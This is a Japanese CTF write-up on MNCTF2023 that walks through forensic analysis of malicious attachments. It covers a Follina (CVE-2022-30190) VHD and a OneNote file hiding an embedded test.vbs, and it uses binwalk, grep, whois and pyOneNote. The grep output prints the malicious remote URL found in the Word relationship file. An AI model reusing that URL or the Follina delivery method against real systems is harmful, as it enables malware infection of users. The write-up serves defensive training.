🛡️

MNCTF2023 Writeup

2024/10/25に公開

0. チュートリアル

このステージはCTFのシステムを理解するための練習用のステージとなります。競技開始の前に試していただくことをお薦め致します。

0-1. Misc - 練習問題

練習問題です。答えは「MNCTF2023@@@」となります。

正答:MNCTF2023@@@

1. 個別問題

1-1. Binary - 利用された脆弱性

てしがわら君宛に怪しい添付ファイルが同僚のやまざき君から転送されてきた。
同ファイルは何らかの脆弱性を利用するらしいが何の脆弱性でしょうか?
CVE番号を答えてください。(CVE-xxxx-xxxxx)

問題にはinvoice_notification.vhdが添付されています。
添付ファイルをダウンロードしようとしたら、ChromeとMicrosoft Defenderに叱られました。
仕方がないので、Kali Linux上のFirefox経由で添付ファイルをダウンロードしてSHA256ハッシュ値を調べます。

$ sha256sum invoice_notification.vhd 
d7b61e31c8776f4276d4c1440ab24b2d6ccc22fb5dae8d9002d60e8cf54d8bb5  invoice_notification.vhd
$

ChromeとMicrosoft Defenderに叱られたということは本物の危ないファイルである可能性が高いので、VirusTotalにてSHA256ハッシュ値を検索にかけます。

https://www.virustotal.com/gui/home/search

VirusTotalの検索結果より、答えはCVE-2022-30190であることが分かります。
正答:CVE-2022-30190
ちなみに、CVE-2022-30190はMicrosoftサポート診断ツールに起因するリモートコード実行の脆弱性[1]で、別名Follinaです。

1-2. Binary - 通信先

「1-1.利用された脆弱性」の脆弱性が突かれると、とあるURLにアクセスする。URLを答えてください。

まず、binwalkでinvoice_notification.vhdからファイルを抽出します。

$ binwalk invoice_notification.vhd                           

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
108544        0x1A800         Zip archive data, at least v2.0 to extract, name: _rels/
108580        0x1A824         Zip archive data, at least v2.0 to extract, name: docProps/
108619        0x1A84B         Zip archive data, at least v2.0 to extract, name: word/
108654        0x1A86E         Zip archive data, at least v2.0 to extract, compressed size: 340, uncompressed size: 1312, name: [Content_Types].xml
109043        0x1A9F3         Zip archive data, at least v2.0 to extract, compressed size: 354, uncompressed size: 735, name: docProps/core.xml
109444        0x1AB84         Zip archive data, at least v2.0 to extract, compressed size: 353, uncompressed size: 704, name: docProps/app.xml
109843        0x1AD13         Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
110117        0x1AE25         Zip archive data, at least v2.0 to extract, name: word/_rels/
110158        0x1AE4E         Zip archive data, at least v2.0 to extract, name: word/theme/
110199        0x1AE77         Zip archive data, at least v2.0 to extract, compressed size: 2880, uncompressed size: 29364, name: word/styles.xml
113124        0x1B9E4         Zip archive data, at least v2.0 to extract, compressed size: 307, uncompressed size: 803, name: word/webSettings.xml
113481        0x1BB49         Zip archive data, at least v2.0 to extract, compressed size: 1007, uncompressed size: 2934, name: word/settings.xml
114535        0x1BF67         Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 1567, name: word/fontTable.xml
115047        0x1C167         Zip archive data, at least v2.0 to extract, compressed size: 1220, uncompressed size: 3920, name: word/document.xml
116314        0x1C65A         Zip archive data, at least v2.0 to extract, compressed size: 1529, uncompressed size: 6799, name: word/theme/theme1.xml
117894        0x1CC86         Zip archive data, at least v2.0 to extract, compressed size: 286, uncompressed size: 994, name: word/_rels/document.xml.rels
119215        0x1D1AF         End of Zip archive, footer length: 22
$
$ binwalk -e invoice_notification.vhd

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
108544        0x1A800         Zip archive data, at least v2.0 to extract, name: _rels/
108580        0x1A824         Zip archive data, at least v2.0 to extract, name: docProps/
108619        0x1A84B         Zip archive data, at least v2.0 to extract, name: word/
108654        0x1A86E         Zip archive data, at least v2.0 to extract, compressed size: 340, uncompressed size: 1312, name: [Content_Types].xml
109043        0x1A9F3         Zip archive data, at least v2.0 to extract, compressed size: 354, uncompressed size: 735, name: docProps/core.xml
109444        0x1AB84         Zip archive data, at least v2.0 to extract, compressed size: 353, uncompressed size: 704, name: docProps/app.xml
109843        0x1AD13         Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
110117        0x1AE25         Zip archive data, at least v2.0 to extract, name: word/_rels/
110158        0x1AE4E         Zip archive data, at least v2.0 to extract, name: word/theme/
110199        0x1AE77         Zip archive data, at least v2.0 to extract, compressed size: 2880, uncompressed size: 29364, name: word/styles.xml
113124        0x1B9E4         Zip archive data, at least v2.0 to extract, compressed size: 307, uncompressed size: 803, name: word/webSettings.xml
113481        0x1BB49         Zip archive data, at least v2.0 to extract, compressed size: 1007, uncompressed size: 2934, name: word/settings.xml
114535        0x1BF67         Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 1567, name: word/fontTable.xml
115047        0x1C167         Zip archive data, at least v2.0 to extract, compressed size: 1220, uncompressed size: 3920, name: word/document.xml
116314        0x1C65A         Zip archive data, at least v2.0 to extract, compressed size: 1529, uncompressed size: 6799, name: word/theme/theme1.xml
117894        0x1CC86         Zip archive data, at least v2.0 to extract, compressed size: 286, uncompressed size: 994, name: word/_rels/document.xml.rels

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
$

次に、grepで抽出したファイル内に怪しいURLが含まれているか確認します。
ここで使用するgrepのオプションや正規表現は以下の通りです。

  • -o:検索条件に一致した部分のみ表示
  • -P:Perl正規表現を使用
  • -r:再帰的に検索(ディレクトリ内に含まれる全てのファイルに対して検索)
  • https?://[^"]+http://またはhttps://から始まり"が現れるまで
$ cd _invoice_notification.vhd.extracted
$ grep -oPr 'https?://[^"]+' .
./[Content_Types].xml:http://schemas.openxmlformats.org/package/2006/content-types
./_rels/.rels:http://schemas.openxmlformats.org/package/2006/relationships
./_rels/.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties
./_rels/.rels:http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties
./_rels/.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/package/2006/relationships
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject
./word/_rels/document.xml.rels:http://angrymusu.me:80/index.html!
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable
./word/fontTable.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/fontTable.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/fontTable.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/styles.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/styles.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/styles.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/styles.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/styles.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/styles.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/styles.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/styles.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/styles.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
./word/document.xml:http://schemas.microsoft.com/office/drawing/2014/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2015/9/8/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2015/10/21/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/9/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/10/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/11/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/12/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/13/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/14/chartex
./word/document.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/ink
./word/document.xml:http://schemas.microsoft.com/office/drawing/2017/model3d
./word/document.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/document.xml:http://schemas.openxmlformats.org/officeDocument/2006/math
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
./word/document.xml:http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
./word/document.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/document.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/document.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingInk
./word/document.xml:http://schemas.microsoft.com/office/word/2006/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingShape
./word/settings.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/settings.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/settings.xml:http://schemas.openxmlformats.org/officeDocument/2006/math
./word/settings.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/settings.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/settings.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/settings.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/settings.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/settings.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/settings.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/settings.xml:http://schemas.openxmlformats.org/schemaLibrary/2006/main
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/webSettings.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/webSettings.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/webSettings.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/theme/theme1.xml:http://schemas.openxmlformats.org/drawingml/2006/main
./word/theme/theme1.xml:http://schemas.microsoft.com/office/thememl/2012/main
./docProps/core.xml:http://schemas.openxmlformats.org/package/2006/metadata/core-properties
./docProps/core.xml:http://purl.org/dc/elements/1.1/
./docProps/core.xml:http://purl.org/dc/terms/
./docProps/core.xml:http://purl.org/dc/dcmitype/
./docProps/core.xml:http://www.w3.org/2001/XMLSchema-instance
./docProps/app.xml:http://schemas.openxmlformats.org/officeDocument/2006/extended-properties
./docProps/app.xml:http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes
$

明らかに./word/_rels/document.xml.rels:http://angrymusu.me:80/index.html!が異質です。
正答:http://angrymusu.me:80/index.html

1-3. Recon - ドメイン取得日

「1-2.通信先」のURLに含まれているドメインの取得年月日はいつか調べてください。
YYYY-MM-DD形式で回答してください。

whoisでangrymusu.meを検索します。

$ whois angrymusu.me
Domain Name: angrymusu.me
Registry Domain ID: 77dc6a888fa840509a8506b7ec3faa0a-DONUTS
Registrar WHOIS Server: http://whois.domain.com
Registrar URL: http://www.domain.com
Updated Date: 2024-08-27T11:19:54Z
Creation Date: 2022-09-02T15:43:06Z
Registry Expiry Date: 2025-09-02T15:43:06Z
Registrar: Domain.com, LLC
Registrar IANA ID: 886
Registrar Abuse Contact Email: 
Registrar Abuse Contact Phone: 
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: shinoseccom
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: NA
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: JP
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext: REDACTED FOR PRIVACY
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext: REDACTED FOR PRIVACY
Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Admin ID: REDACTED FOR PRIVACY
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext: REDACTED FOR PRIVACY
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext: REDACTED FOR PRIVACY
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Tech ID: REDACTED FOR PRIVACY
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext: REDACTED FOR PRIVACY
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext: REDACTED FOR PRIVACY
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Name Server: ns1.domain.com
Name Server: ns2.domain.com
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2024-10-23T14:45:34Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

Terms of Use: Access to WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the registry database. The data in this record is provided by Identity Digital or the Registry Operator for informational purposes only, and accuracy is not guaranteed. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Identity Digital except as reasonably necessary to register domain names or modify existing registrations. When using the Whois service, please consider the following: The Whois service is not a replacement for standard EPP commands to the SRS service. Whois is not considered authoritative for registered domain objects. The Whois service may be scheduled for downtime during production or OT&E maintenance periods. Queries to the Whois services are throttled. If too many queries are received from a single IP address within a specified time, the service will begin to reject further queries for a period of time to prevent disruption of Whois service access. Abuse of the Whois system through data mining is mitigated by detecting and limiting bulk query access from single sources. Where applicable, the presence of a [Non-Public Data] tag indicates that such data is not made publicly available due to applicable data privacy laws or requirements. Should you wish to contact the registrant, please refer to the Whois records available through the registrar URL listed above. Access to non-public data may be provided, upon request, where it can be re
asonably confirmed that the requester holds a specific legitimate interest and a proper legal basis for accessing the withheld data. Access to this data provided by Identity Digital can be requested by submitting a request via the form found at https://www.identity.digital/about/policies/whois-layered-access/. The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name. Identity Digital Inc. and Registry Operator reserve the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.

Creation Date: 2022-09-02T15:43:06Zより、答えは2022-09-02であることが分かります。
正答:2022-09-02

2. インシデント対応

マクニキCSIRTのメンバーであるてしがわら君に怪しいメールが届いたという連絡が入った。

広報部のやまもとさんから怪しいメールが届いたと連絡があり、添付ファイルを調査することになりました。
新商品開発プロジェクトのメーリングリストから来ており、数十人が同じメールを受信しているはずである。

てしがわら君と一緒に調査をしてみよう!

2-1. Binary - 添付ファイルの中身

メールには添付ファイルがありました。パスワードは「infected」です。
添付ファイルはOneNote形式ですが、他のファイルが埋め込まれているようです。
埋め込まれているファイルのファイル名を調べてください。

問題にはNewMaterial.oneが添付されています。
添付ファイルをダウンロードしようとしたら、またもやChromeとMicrosoft Defenderに叱られました。
Kali Linux上のFirefox経由で添付ファイルをダウンロードし、fileコマンドでファイルの種類を調べます。

$ file NewMaterial.one 
NewMaterial.one: Microsoft OneNote
$

拡張子通りMicrosoft OneNoteファイルのようです。
次に、foremostを使って埋め込まれているファイルを抽出します。

$ foremost NewMaterial.one 
Processing: NewMaterial.one
|*|
$ cd output/png 
$ ls
00000017.png  00000022.png
$

PNGファイルを2つ抽出できました。


00000017.png

00000022.png

ここから

  • ファイル名をなかなか特定できなかった
  • 答えは1つのはずなのに抽出したファイルは2つだった
  • 抽出したPNGファイルに意味がなさそうだった

という理由から方針を転換しました。
pyOneNoteを使い、Microsoft OneNoteファイルをパースします。

https://github.com/DissectMalware/pyOneNote

$ pyonenote -f NewMaterial.one
Headers
####################################################################
        guidFileType: 7b5c52e4-d88c-4da7-aeb1-5378d02996d3
        guidFile: 8128b67c-4da2-45ed-b87b-6c1fa276bb05
        guidLegacyFileVersion: 00000000-0000-0000-0000-000000000000
        guidFileFormat: 109add3f-911b-49f5-a5d0-1791edc8aed8
        ffvLastCodeThatWroteToThisFile: 42
        ffvOldestCodeThatHasWrittenToThisFile: 42
        ffvNewestCodeThatHasWrittenToThisFile: 42
        ffvOldestCodeThatMayReadThisFile: 42
        fcrLegacyFreeChunkList: FileChunkReference32:(stp:0, cb:0)
        fcrLegacyTransactionLog: FileChunkReference32:(stp:4294967295, cb:0)
        cTransactionsInLog: 17
        cbLegacyExpectedFileLength: 0
        rgbPlaceholder: 0
        fcrLegacyFileNodeListRoot: FileChunkReference32:(stp:4294967295, cb:0)
        cbLegacyFreeSpaceInFreeChunkList: 0
        fNeedsDefrag: 0
        fRepairedFile: 0
        fNeedsGarbageCollect: 0
        fHasNoEmbeddedFileObjects: 0
        guidAncestor: 00000000-0000-0000-0000-000000000000
        crcName: 0
        fcrHashedChunkList: FileChunkReference64x32:(stp:10032, cb:1024)
        fcrTransactionLog: FileChunkReference64x32:(stp:2048, cb:2408)
        fcrFileNodeListRoot: FileChunkReference64x32:(stp:1024, cb:1024)
        fcrFreeChunkList: FileChunkReference64x32:(stp:18446744073709551615, cb:0)
        cbExpectedFileLength: 150392
        cbFreeSpaceInFreeChunkList: 240
        guidFileVersion: 83e256a1-c2ca-4c5d-9492-2785531eadae
        nFileVersionGeneration: 22
        guidDenyReadFileVersion: 08fcdca7-e7f2-405a-ae9e-2ac4b442d830
        grfDebugLogFlags: 0
        fcrDebugLog: FileChunkReference64x32:(stp:0, cb:0)
        fcrAllocVerificationFreeChunkList: FileChunkReference64x32:(stp:0, cb:0)
        bnCreated: 1004272758
        bnLastWroteToThisFile: 1004272758
        bnOldestWritten: 1004272758
        bnNewestWritten: 1004272758


Properties
####################################################################
        jcidSectionMetaData(<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 11)):
                SchemaRevisionInOrderToRead: b'(\x00\x00\x00'

        jcidSectionNode(<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 10)):
                NotebookManagementEntityGuid: eaf930c44b884a08ba90ac4229e37e95
                TopologyCreationTimeStamp: 2023-05-17 05:23:06.076000
                ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 12)']

        jcidPageSeriesNode(<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 12)):
                ChildGraphSpaceElementNodes: ['<ExtendedGUID> (2e2d503a-1ec8-4958-91ab-dfe9749b1705, 1)']
                NotebookManagementEntityGuid: c884de67c5484a018c3497c7aeb8fe0d
                TopologyCreationTimeStamp: 2023-05-17 05:17:05.716000

        jcidOutlineElementNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 37)):
                LastModifiedTime: 2023-05-17 05:17:05
                AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                AuthorOriginal: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                CreationTimeStamp: 2023-05-17 05:17:05
                OutlineElementChildLevel: b'\x01'
                ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                OutlineElementRTL: False

        jcidOutlineNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 33)):
                LastModifiedTime: 2023-05-17 05:23:06
                ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 34)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 34)']
                RgOutlineIndentDistance: ꤄煁㼀㽀㽀
                OutlineElementChildLevel: b'\x01'
                LayoutMaxHeight: 28
                LayoutAlignmentInParent: b'\x00\x00\x00\x00'
                LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
                LayoutMaxWidth: 624

        jcidRichTextOENode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 35)):
                LastModifiedTime: 2023-05-17 05:17:05
                ParagraphStyle: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']
                LayoutAlignmentInParent: b'\x01\x00\x00\x00'
                LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
                RichEditTextLangID: en_US(1033)
                TextExtendedAscii: 547565736461792c204d61792031362c2032303233
                TextRunFormatting: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']

        jcidEmbeddedFileNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 18)):
                LastModifiedTime: 2023-05-17 05:22:36
                EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
                PictureWidth: 32
                PictureHeight: 32
                PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
                EmbeddedFileName: test.vbs
                RichEditTextUnicode: test.vbs
                SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
                OffsetFromParentHoriz: 648
                OffsetFromParentVert: 379
                LayoutAlignmentSelf: b'\t\x00\x00\x00'
                LayoutMaxWidth: 32
                LayoutMaxHeight: 32

        jcidOutlineElementNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 28)):
                LastModifiedTime: 2023-05-17 05:17:28
                AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                AuthorOriginal: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                CreationTimeStamp: 2023-05-17 05:17:28
                OutlineElementChildLevel: b'\x01'
                ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']

        jcidEmbeddedFileNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)):
                LastModifiedTime: 2023-05-17 05:22:30
                EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 16)']
                PictureWidth: 32
                PictureHeight: 32
                PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 16)']
                EmbeddedFileName: test.vbs
                RichEditTextUnicode: test.vbs
                SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
                OffsetFromParentHoriz: 576
                OffsetFromParentVert: 379
                LayoutAlignmentSelf: b'\t\x00\x00\x00'
                LayoutMaxWidth: 72
                LayoutMaxHeight: 86
                IsLayoutSizeSetByUser: False

        jcidRichTextOENode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 30)):
                LastModifiedTime: 2023-05-17 05:17:28
                ParagraphStyle: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 31)']
                RichEditTextLangID: en_US(1033)
                TextRunFormatting: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 31)']
                RichEditTextUnicode: 新素材の合金

        jcidImageNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 24)):
                LastModifiedTime: 2023-05-17 05:20:04
                LanguageID: en_US(1033)
                ImageFilename: 無題の画像.png
                PictureWidth: 954
                PictureHeight: 528
                PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 25)']
                OffsetFromParentHoriz: 72
                OffsetFromParentVert: 67
                LayoutAlignmentSelf: b'\t\x00\x00\x00'
                LayoutMaxWidth: 954
                LayoutMaxHeight: 528
                RichEditTextLangID: en_US(1033)
                RichEditTextUnicode: Office365 

        jcidPageMetaData(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 11)):
                CachedTitleString: 新素材の合金
                NotebookManagementEntityGuid: 6e7c14a8aae04d7691869ac75a995c52
                PageLevel: b'\x01\x00\x00\x00'
                SchemaRevisionInOrderToRead: b'(\x00\x00\x00'
                TopologyCreationTimeStamp: 2023-05-17 05:17:05.716000

        jcidTitleNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 26)):
                LastModifiedTime: 2023-05-17 05:23:06
                OffsetFromParentHoriz: 0
                OffsetFromParentVert: 0
                LayoutAlignmentInParent: b'\x0c\x00\t\x00'
                LayoutAlignmentSelf: b'\x00\x00\x00\x00'
                LayoutCollisionPriority: b'\x00\x00\x00\x00'
                ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 27)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 27)']

        jcidEmbeddedFileNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 21)):
                LastModifiedTime: 2023-05-17 05:22:41
                EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 22)']
                PictureWidth: 32
                PictureHeight: 32
                PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 22)']
                EmbeddedFileName: test.vbs
                RichEditTextUnicode: test.vbs
                SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
                OffsetFromParentHoriz: 720
                OffsetFromParentVert: 379
                LayoutAlignmentSelf: b'\t\x00\x00\x00'
                LayoutMaxWidth: 32
                LayoutMaxHeight: 32

        jcidRichTextOENode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 38)):
                LastModifiedTime: 2023-05-17 05:17:05
                ParagraphStyle: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']
                LayoutAlignmentInParent: b'\x01\x00\x00\x00'
                LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
                RichEditTextLangID: en_US(1033)
                TextExtendedAscii: 〱ㄺ‷䵐
                TextRunFormatting: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']

        jcidOutlineElementNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 34)):
                LastModifiedTime: 2023-05-17 05:17:05
                AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                AuthorOriginal: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                CreationTimeStamp: 2023-05-17 05:17:05
                OutlineElementChildLevel: b'\x01'
                ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
                OutlineElementRTL: False

        jcidRevisionMetaData(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 12)):
                AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 13)']
                LastModifiedTimeStamp: 2023-05-17 05:22:51

        jcidPageNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 14)):
                LastModifiedTime: 2023-05-17 05:23:06
